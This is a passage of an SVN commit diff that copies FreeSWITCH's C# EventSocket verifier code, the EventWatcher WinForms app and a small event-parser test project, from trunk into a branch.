+            ListViewItem itm = lvAll.SelectedItems[0];
+            info.Text = DisplayProperties(itm.Tag);
+        }
+
+        #region Nested type: SwitchEventHandler
+
+        private delegate void SwitchEventHandler(EventBase theEvent);
+
+        #endregion
+
+        #region Nested type: Wrapper
+
+        private class Wrapper
+        {
+            public ChannelEvent e;
+
+            public Wrapper(ChannelEvent e)
+            {
+                this.e = e;
+            }
+
+            public override string ToString()
+            {
+                return "[" + e.Name + "] " + e.ChannelInfo.State;
+            }
+        }
+
+        #endregion
+
+        private void btnOriginate_Click(object sender, EventArgs e)
+        {
+            //Originate org = new Originate();
+            //org.Caller = new SofiaSipAddress("gauffin.com");
+            //from_id.Text
+        }
+
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.resx

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.resx (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.resx) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.resx	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.resx	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/LabelTextBox.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/LabelTextBox.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/LabelTextBox.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/LabelTextBox.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/LabelTextBox.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Text;
+using System.Windows.Forms;
+
+namespace EventWatcher
+{
+    class LabelTextBox : TextBox
+    {
+        private string _label;
+
+        public string Label
+        {
+            get { return _label; }
+            set 
+            { 
+                _label = value; 
+                if (Text == string.Empty)
+                    SetLabel();
+            }
+        }
+
+        public void test()
+        {
+            TextBox x = new TextBox();
+            x.KeyDown += tb_KeyDown;
+            x.TextChanged += tb_TextChanged;
+        }
+
+        private void tb_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
+        {
+            if (ForeColor == Color.FromKnownColor(KnownColor.InactiveCaptionText))
+                RemoveLabel();
+        }
+
+        private void tb_TextChanged(object sender, EventArgs e)
+        {
+            if (Text == string.Empty)
+              SetLabel();
+            else if (Text != _label && Text != string.Empty)
+             RemoveLabel();   
+        }
+
+        private void RemoveLabel()
+        {
+            ForeColor = Color.FromKnownColor(KnownColor.WindowText);
+            Text = string.Empty;
+
+        }
+        private void SetLabel()
+        {
+            ForeColor = Color.FromKnownColor(KnownColor.InactiveCaptionText);
+            Text = _label;
+
+        }
+
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Program.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Program.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Program.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Program.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Program.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+using System;
+using System.Collections.Generic;
+using System.Windows.Forms;
+
+namespace EventWatcher
+{
+    static class Program
+    {
+        /// <summary>
+        /// The main entry point for the application.
+        /// </summary>
+        [STAThread]
+        static void Main()
+        {
+            Application.EnableVisualStyles();
+            Application.SetCompatibleTextRenderingDefault(false);
+            Application.Run(new ChannelWatcher());
+        }
+    }
+}
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Properties)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/AssemblyInfo.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/AssemblyInfo.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/AssemblyInfo.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/AssemblyInfo.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/AssemblyInfo.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following 
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("EventWatcher")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("EventWatcher")]
+[assembly: AssemblyCopyright("Copyright ©  2007")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible 
+// to COM components.  If you need to access a type in this assembly from 
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("e6a71f21-6833-455f-a398-a0d6a54c1359")]
+
+// Version information for an assembly consists of the following four values:
+//
+//      Major Version
+//      Minor Version 
+//      Build Number
+//      Revision
+//
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.Designer.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.Designer.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.Designer.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.Designer.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.Designer.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+//     This code was generated by a tool.
+//     Runtime Version:2.0.50727.312
+//
+//     Changes to this file may cause incorrect behavior and will be lost if
+//     the code is regenerated.
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+namespace EventWatcher.Properties {
+    using System;
+    
+    
+    /// <summary>
+    ///   A strongly-typed resource class, for looking up localized strings, etc.
+    /// </summary>
+    // This class was auto-generated by the StronglyTypedResourceBuilder
+    // class via a tool like ResGen or Visual Studio.
+    // To add or remove a member, edit your .ResX file then rerun ResGen
+    // with the /str option, or rebuild your VS project.
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+    internal class Resources {
+        
+        private static global::System.Resources.ResourceManager resourceMan;
+        
+        private static global::System.Globalization.CultureInfo resourceCulture;
+        
+        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
+        internal Resources() {
+        }
+        
+        /// <summary>
+        ///   Returns the cached ResourceManager instance used by this class.
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Resources.ResourceManager ResourceManager {
+            get {
+                if (object.ReferenceEquals(resourceMan, null)) {
+                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("EventWatcher.Properties.Resources", typeof(Resources).Assembly);
+                    resourceMan = temp;
+                }
+                return resourceMan;
+            }
+        }
+        
+        /// <summary>
+        ///   Overrides the current thread's CurrentUICulture property for all
+        ///   resource lookups using this strongly typed resource class.
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Globalization.CultureInfo Culture {
+            get {
+                return resourceCulture;
+            }
+            set {
+                resourceCulture = value;
+            }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.resx

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.resx (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.resx) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.resx	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Resources.resx	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,117 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.Designer.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.Designer.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.Designer.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.Designer.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.Designer.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+//     This code was generated by a tool.
+//     Runtime Version:2.0.50727.312
+//
+//     Changes to this file may cause incorrect behavior and will be lost if
+//     the code is regenerated.
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+namespace EventWatcher.Properties
+{
+
+
+    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")]
+    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
+    {
+
+        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
+
+        public static Settings Default
+        {
+            get
+            {
+                return defaultInstance;
+            }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.settings

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.settings (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.settings) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.settings	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Properties/Settings.settings	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+<?xml version='1.0' encoding='utf-8'?>
+<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
+  <Profiles>
+    <Profile Name="(Default)" />
+  </Profiles>
+  <Settings />
+</SettingsFile>

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ReadMePlease.txt

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ReadMePlease.txt (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/ReadMePlease.txt) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ReadMePlease.txt	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ReadMePlease.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+This is just a test project that I used to develop the event socket lib.
+
+It could in the future be an application that keep track on all channels and their current state.
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/EventSocket.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/EventSocket.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/EventSocket.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/EventSocket.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/EventSocket.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+using FreeSwitch.EventSocket;
+using FreeSwitch.EventSocket.Commands;
+using FreeSwitch.EventSocket.General;
+
+namespace FreeSwitch.EventSocket.Test
+{
+    class EventSocket
+    {
+        private FreeSwitch.EventSocket.EventSocket m_es = new FreeSwitch.EventSocket.EventSocket(null);
+
+        public void Setup()
+        {
+            m_es.Connect("192.168.1.102");
+            m_es.Subscribe(new Events(Event.All));
+            //m_es.SendApi(new Originate(new SofiaSipAddress("gauffin.com", "arne"), new Address("8888")));
+            System.Threading.Thread.Sleep(500000);
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/FreeSwitch.EventSocket.Test.csproj

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/FreeSwitch.EventSocket.Test.csproj (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/FreeSwitch.EventSocket.Test.csproj) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/FreeSwitch.EventSocket.Test.csproj	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/FreeSwitch.EventSocket.Test.csproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,55 @@
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProductVersion>8.0.50727</ProductVersion>
+    <SchemaVersion>2.0</SchemaVersion>
+    <ProjectGuid>{3679225D-79A3-4B6C-BCA1-E2DC265E423A}</ProjectGuid>
+    <OutputType>Exe</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>FreeSwitch.EventSocket.Test</RootNamespace>
+    <AssemblyName>FreeSwitch.EventSocket.Test</AssemblyName>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="EventSocket.cs" />
+    <Compile Include="ParserTest.cs" />
+    <Compile Include="Program.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <ProjectReference Include="..\FreeSwitchEventSocket\FreeSwitch.EventSocket.csproj">
+      <Project>{3F8895F6-F710-4323-B96A-4EFB6BC97E08}</Project>
+      <Name>FreeSwitch.EventSocket</Name>
+    </ProjectReference>
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+</Project>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/ParserTest.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/ParserTest.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/ParserTest.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/ParserTest.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/ParserTest.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace FreeSwitch.EventSocket.Test
+{
+    class ParserTest
+    {
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Program.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Program.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Program.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Program.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Program.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,78 @@
+using System;
+using System.Collections.Specialized;
+using System.IO;
+using System.Threading;
+
+namespace FreeSwitch.EventSocket.Test
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            /*EventManager mgr = new EventManager();
+            mgr.Subscribe(Events.GetChannelEvents());
+            mgr.Start("localhost");
+            Console.ReadLine();
+            */
+            Program p = new Program();
+            p.Test();
+
+        }
+
+        private int _counter;
+        private EventParser _parser;
+        Random _rand = new Random((int)DateTime.Now.Ticks);
+
+        public void Test()
+        {
+            _parser = new EventParser();
+            string text = File.ReadAllText("C:\\mymsgs.txt");
+            Thread[] threads = new Thread[5];
+            for (int i = 0; i < 5; ++i)
+                threads[i] = new Thread(FeedStream);
+
+            while (StreamFeeder(ref text)) ;
+            //Parse(text);
+/*
+            Parse(File.ReadAllText("C:\\events1.txt"));
+            Parse(File.ReadAllText("C:\\events2.txt"));
+            Parse(File.ReadAllText("C:\\events3.txt"));
+*/
+        }
+
+        public void FeedStream()
+        {
+            
+        }
+        public bool StreamFeeder(ref string text)
+        {
+            int length;
+            if (text.Length < 5)
+                length = text.Length;
+            else
+                length = _rand.Next(text.Length / 2);
+
+            string myText = text.Substring(0, length);
+            Parse(myText);
+            text = text.Remove(0, length);
+            return text.Length > 0;
+        }
+
+        public void Parse(string text)
+        {
+            _parser.Append(text);
+            PlainEventMsg msg = _parser.ParseOne();
+            while (msg != null)
+            {
+                ++_counter;
+
+                NameValueCollection pars = msg.ParseBody(true);
+                Console.WriteLine(pars["event-name"]);
+
+                msg = _parser.ParseOne();
+            }
+
+            
+        }
+    }
+}

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Properties (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Properties)

